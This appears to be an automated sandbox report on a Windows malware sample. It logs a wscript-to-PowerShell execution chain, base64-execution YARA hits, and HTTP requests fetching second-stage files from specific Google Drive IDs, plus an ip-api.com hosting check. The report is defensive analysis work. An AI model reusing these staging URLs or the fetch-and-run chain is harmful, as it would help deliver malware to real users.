Source:	Binary string: System.Core.pdb source: powershell.exe, 0000000D.00000002.878904636075.0000000002A96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: re.pdb; source: powershell.exe, 0000000D.00000002.878917749751.0000000008791000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 0000000D.00000002.878904636075.0000000002A96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wab.pdbGCTL source: GrOcCQC.exe, 00000010.00000000.879000905723.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, GrOcCQC.exe, 00000012.00000002.879083099115.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, GrOcCQC.exe.15.dr
Source:	Binary string: wab.pdb source: GrOcCQC.exe, GrOcCQC.exe, 00000010.00000000.879000905723.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, GrOcCQC.exe, 00000012.00000002.879083099115.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, GrOcCQC.exe.15.dr

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

ASN Name: TUT-ASUS TUT-ASUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: ip-api.com

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc76t5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc76t5&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1kTBjYXwSaLf73tP79eJTEXDnkCOgv_e4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1kTBjYXwSaLf73tP79eJTEXDnkCOgv_e4&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc76t5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc76t5&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1kTBjYXwSaLf73tP79eJTEXDnkCOgv_e4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1kTBjYXwSaLf73tP79eJTEXDnkCOgv_e4&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com

Source: powershell.exe, 00000009.00000002.882935125828.000002167215A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878904636075.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878845480817.0000000005108000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.882847947414.0000000005102000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878864713619.0000000005108000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.0000000005102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000009.00000002.882935125828.000002167215A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878904636075.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878845480817.0000000005108000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.882847947414.0000000005102000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878864713619.0000000005108000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.0000000005102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 0000000D.00000002.878917749751.0000000008716000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microso
Source: wab.exe, 0000000F.00000002.882856308898.0000000020C51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: wab.exe, 0000000F.00000002.882856308898.0000000020C51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000009.00000002.882848532717.000002165B480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882926973942.0000021669E6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878910754934.0000000005737000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878910754934.0000000005874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000009.00000002.882848532717.000002165B300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png4
Source: powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngXz
Source: powershell.exe, 00000009.00000002.882848532717.000002165B32B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngh
Source: powershell.exe, 00000009.00000002.882848532717.0000021659E01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878906475177.00000000046D1000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.882856308898.0000000020C51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000009.00000002.882848532717.000002165B100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000009.00000002.882848532717.000002165B300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html4
Source: powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlXz
Source: powershell.exe, 00000009.00000002.882848532717.000002165B32B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlh
Source: powershell.exe, 00000009.00000002.882848532717.0000021659E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000D.00000002.878906475177.00000000046D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB7q
Source: powershell.exe, 00000009.00000002.882848532717.000002165A2CD000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878845630299.0000000005134000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 0000000D.00000002.878910754934.0000000005874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.878910754934.0000000005874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.878910754934.0000000005874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.g
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.go
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.goo
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.goog
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.googl
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.c
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.co
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.882847947414.00000000050AE000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.00000000050AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: wab.exe, 0000000F.00000002.882847947414.00000000050AE000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.00000000050AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/FP
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/u
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?e
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?ex
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?exp
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?expo
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?expor
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=d
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=do
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=dow
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=down
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=downl
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=downlo
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=downloa
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&i
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1T
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1Tu
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3p
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pG
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGV
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQ
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQO
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOu
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuY
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYu
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0P
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PV
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1v
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vu
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuO
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOo
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOov
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOovP
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOovPZ
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc7
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc76
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc76t
Source: powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc76t5
Source: powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc76t5pN
Source: wab.exe, 0000000F.00000002.882847947414.00000000050C4000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.00000000050C4000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.882848779553.00000000053B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1kTBjYXwSaLf73tP79eJTEXDnkCOgv_e4
Source: wab.exe, 0000000F.00000002.882847947414.00000000050C4000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.00000000050C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1kTBjYXwSaLf73tP79eJTEXDnkCOgv_e4J
Source: powershell.exe, 00000009.00000002.882848532717.000002165A2D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: wab.exe, 0000000F.00000002.882847947414.0000000005102000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878864713619.0000000005134000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.0000000005102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: powershell.exe, 00000009.00000002.882848532717.000002165A2D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165A2CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc76t5&export=download
Source: wab.exe, 0000000F.00000003.878864713619.0000000005108000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878845630299.0000000005134000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1kTBjYXwSaLf73tP79eJTEXDnkCOgv_e4&export=download
Source: wab.exe, 0000000F.00000003.880185049304.00000000050D4000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.882847947414.00000000050D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1kTBjYXwSaLf73tP79eJTEXDnkCOgv_e4&export=downloadDP
Source: wab.exe, 0000000F.00000002.882847947414.00000000050EF000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.00000000050EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1kTBjYXwSaLf73tP79eJTEXDnkCOgv_e4&export=downloadSP
Source: powershell.exe, 00000009.00000002.882848532717.000002165B300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester4
Source: powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/PesterXz
Source: powershell.exe, 00000009.00000002.882848532717.000002165B32B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pesterh
Source: powershell.exe, 00000009.00000002.882848532717.000002165C0DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000009.00000002.882848532717.000002165B480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882926973942.0000021669E6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878910754934.0000000005737000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878910754934.0000000005874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000009.00000002.882848532717.000002165B100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000009.00000002.882848532717.000002165A2CD000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878845630299.0000000005134000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: powershell.exe, 00000009.00000002.882848532717.000002165A2CD000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878845630299.0000000005134000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: powershell.exe, 00000009.00000002.882848532717.000002165A2CD000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878845630299.0000000005134000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000009.00000002.882848532717.000002165A2CD000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878845630299.0000000005134000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: powershell.exe, 00000009.00000002.882848532717.000002165A2CD000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878845630299.0000000005134000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949

Source: unknown	HTTPS traffic detected: 142.250.191.110:443 -> 192.168.11.30:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.2.33:443 -> 192.168.11.30:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.110:443 -> 192.168.11.30:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.2.33:443 -> 192.168.11.30:49952 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_6840.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 2680, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6840, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5088
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 5088
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 5088	Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

